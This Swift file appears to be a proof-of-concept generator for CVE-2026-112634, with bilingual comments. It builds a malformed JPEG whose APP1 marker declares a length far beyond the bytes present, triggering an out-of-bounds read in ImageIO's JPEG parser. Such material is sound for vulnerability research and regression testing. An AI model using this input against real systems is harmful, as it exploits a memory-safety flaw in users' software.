Files
cinder27/CVE-2026-112634/CVE-2026-112634.swift
T

53 lines
2.2 KiB
Swift

// iio.jpeg.marker · ImageIO · _JPEGFile::processData · CVE-2026-112634
// 原语: OOB 读 · 进程内 · tier 2
// Primitive: OOB read · in-process · tier 2
//
// [zh] JPEG 标记长度越界
// 当标记声明的长度远超实际存在的字节数时,27.0 仅记录一条 \"*** WARNING: check markerLength\" 并继续解析,导致越界读取;27.2 直接中止解析。
//
// [en] JPEG marker length out of bounds
// When a marker declares a length far beyond the bytes actually present, 27.0 logs one "*** WARNING:
// check markerLength" and keeps parsing, reading out of bounds. 27.2 aborts the parse.
// ── 判别 / oracle ──
// 长度 0xFFEE,实际负载 28 字节。
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
static func be32(_ v: UInt32) -> [UInt8] {
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
}
static func le32(_ v: UInt32) -> [UInt8] {
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
}
static func be64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
}
static func le64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
}
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ──
enum JPEGPayload {
static func markerLength(declared: Int = 0xFFEE, actual: Int = 30) -> Data {
var out = minimalSOI()
out += [0xFF, 0xE1]
out += [UInt8((declared >> 8) & 0xff), UInt8(declared & 0xff)]
out += Array(repeating: 0x41, count: max(0, actual - 2))
out += [0xFF, 0xD9]
return Data(out)
}
static func minimalSOI() -> [UInt8] { [0xFF, 0xD8] }
}